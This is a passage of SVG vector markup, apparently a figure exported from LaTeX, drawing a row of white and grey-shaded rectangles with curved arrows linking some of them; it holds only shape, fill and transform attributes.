transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 73.699438 0.0006875 L 73.699438 28.348344 L 79.371313 28.348344 L 79.371313 0.0006875 Z M 73.699438 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 79.371313 0.0006875 L 79.371313 28.348344 L 85.039281 28.348344 L 85.039281 0.0006875 Z M 79.371313 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 85.039281 0.0006875 L 85.039281 28.348344 L 90.70725 28.348344 L 90.70725 0.0006875 Z M 85.039281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 0.0006875 L 181.418187 28.348344 L 187.086156 28.348344 L 187.086156 0.0006875 Z M 181.418187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 187.086156 0.0006875 L 187.086156 28.348344 L 192.754125 28.348344 L 192.754125 0.0006875 Z M 187.086156 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 192.754125 0.0006875 L 192.754125 28.348344 L 198.426 28.348344 L 198.426 0.0006875 Z M 192.754125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 198.426 0.0006875 L 198.426 28.348344 L 204.093969 28.348344 L 204.093969 0.0006875 Z M 198.426 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 204.093969 0.0006875 L 204.093969 28.348344 L 209.761937 28.348344 L 209.761937 0.0006875 Z M 204.093969 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 209.761937 0.0006875 L 209.761937 28.348344 L 215.433812 28.348344 L 215.433812 0.0006875 Z M 209.761937 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 215.433812 0.0006875 L 215.433812 28.348344 L 221.101781 28.348344 L 221.101781 0.0006875 Z M 215.433812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 221.101781 0.0006875 L 221.101781 28.348344 L 226.76975 28.348344 L 226.76975 0.0006875 Z M 221.101781 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 226.76975 0.0006875 L 226.76975 28.348344 L 232.441625 28.348344 L 232.441625 0.0006875 Z M 226.76975 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 232.441625 0.0006875 L 232.441625 28.348344 L 238.109594 28.348344 L 238.109594 0.0006875 Z M 232.441625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 238.109594 0.0006875 L 238.109594 28.348344 L 243.777562 28.348344 L 243.777562 0.0006875 Z M 238.109594 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 243.777562 0.0006875 L 243.777562 28.348344 L 249.449437 28.348344 L 249.449437 0.0006875 Z M 243.777562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 249.449437 0.0006875 L 249.449437 28.348344 L 255.117406 28.348344 L 255.117406 0.0006875 Z M 249.449437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.117406 0.0006875 L 255.117406 28.348344 L 260.785375 28.348344 L 260.785375 0.0006875 Z M 255.117406 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 260.785375 0.0006875 L 260.785375 28.348344 L 266.45725 28.348344 L 266.45725 0.0006875 Z M 260.785375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 266.45725 0.0006875 L 266.45725 28.348344 L 272.125219 28.348344 L 272.125219 0.0006875 Z M 266.45725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 0.0006875 L 272.125219 28.348344 L 277.793187 28.348344 L 277.793187 0.0006875 Z M 272.125219 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 277.793187 0.0006875 L 277.793187 28.348344 L 283.465062 28.348344 L 283.465062 0.0006875 Z M 277.793187 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 283.465062 0.0006875 L 283.465062 28.348344 L 289.133031 28.348344 L 289.133031 0.0006875 Z M 283.465062 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 289.133031 0.0006875 L 289.133031 28.348344 L 294.801 28.348344 L 294.801 0.0006875 Z M 289.133031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 294.801 0.0006875 L 294.801 28.348344 L 300.472875 28.348344 L 300.472875 0.0006875 Z M 294.801 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 300.472875 0.0006875 L 300.472875 28.348344 L 306.140844 28.348344 L 306.140844 0.0006875 Z M 300.472875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 306.140844 0.0006875 L 306.140844 28.348344 L 311.808812 28.348344 L 311.808812 0.0006875 Z M 306.140844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 311.808812 0.0006875 L 311.808812 28.348344 L 317.480687 28.348344 L 317.480687 0.0006875 Z M 311.808812 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 317.480687 0.0006875 L 317.480687 28.348344 L 323.148656 28.348344 L 323.148656 0.0006875 Z M 317.480687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 323.148656 0.0006875 L 323.148656 28.348344 L 328.816625 28.348344 L 328.816625 0.0006875 Z M 323.148656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 328.816625 0.0006875 L 328.816625 28.348344 L 334.4885 28.348344 L 334.4885 0.0006875 Z M 328.816625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 334.4885 0.0006875 L 334.4885 28.348344 L 340.156469 28.348344 L 340.156469 0.0006875 Z M 334.4885 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 340.156469 0.0006875 L 340.156469 28.348344 L 345.824437 28.348344 L 345.824437 0.0006875 Z M 340.156469 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 345.824437 0.0006875 L 345.824437 28.348344 L 351.496312 28.348344 L 351.496312 0.0006875 Z M 345.824437 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 351.496312 0.0006875 L 351.496312 28.348344 L 357.164281 28.348344 L 357.164281 0.0006875 Z M 351.496312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 357.164281 0.0006875 L 357.164281 28.348344 L 362.83225 28.348344 L 362.83225 0.0006875 Z M 357.164281 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 28.348344 C 50.027563 78.371781 131.390844 78.371781 176.293187 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.146898 0.00206566 L 0.197298 1.786423 L 0.20006 -0.000696507 L 0.20006 -1.785053 Z M 7.146898 0.00206566 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,176.42153,45.02992)"/> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 181.418187 28.348344 C 206.429906 53.360062 247.1135 53.360062 267.000219 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.145923 0.00109072 L 0.199085 1.78821 L 0.199085 -1.786028 Z M 7.145923 0.00109072 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,267.12994,45.02992)"/> -<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 272.125219 28.348344 C 297.136937 53.360062 337.820531 53.360062 357.711156 33.469437 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.144956 0.000122861 L 0.198117 1.787242 L 0.200879 0.000122861 L 0.198117 -1.786996 Z M 7.144956 0.000122861 " transform="matrix(0.7071,0.7071,0.7071,-0.7071,357.83834,45.02992)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 90.70725 0.0006875 L 90.70725 28.348344 L 96.379125 28.348344 L 96.379125 0.0006875 Z M 90.70725 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 96.379125 0.0006875 L 96.379125 28.348344 L 102.047094 28.348344 L 102.047094 0.0006875 Z M 96.379125 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 102.047094 0.0006875 L 102.047094 28.348344 L 107.715063 28.348344 L 107.715063 0.0006875 Z M 102.047094 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 107.715063 0.0006875 L 107.715063 28.348344 L 113.386938 28.348344 L 113.386938 0.0006875 Z M 107.715063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 113.386938 0.0006875 L 113.386938 28.348344 L 119.054906 28.348344 L 119.054906 0.0006875 Z M 113.386938 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 119.054906 0.0006875 L 119.054906 28.348344 L 124.722875 28.348344 L 124.722875 0.0006875 Z M 119.054906 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 124.722875 0.0006875 L 124.722875 28.348344 L 130.39475 28.348344 L 130.39475 0.0006875 Z M 124.722875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 130.39475 0.0006875 L 130.39475 28.348344 L 136.062719 28.348344 L 136.062719 0.0006875 Z M 130.39475 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 136.062719 0.0006875 L 136.062719 28.348344 L 141.730687 28.348344 L 141.730687 0.0006875 Z M 136.062719 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " 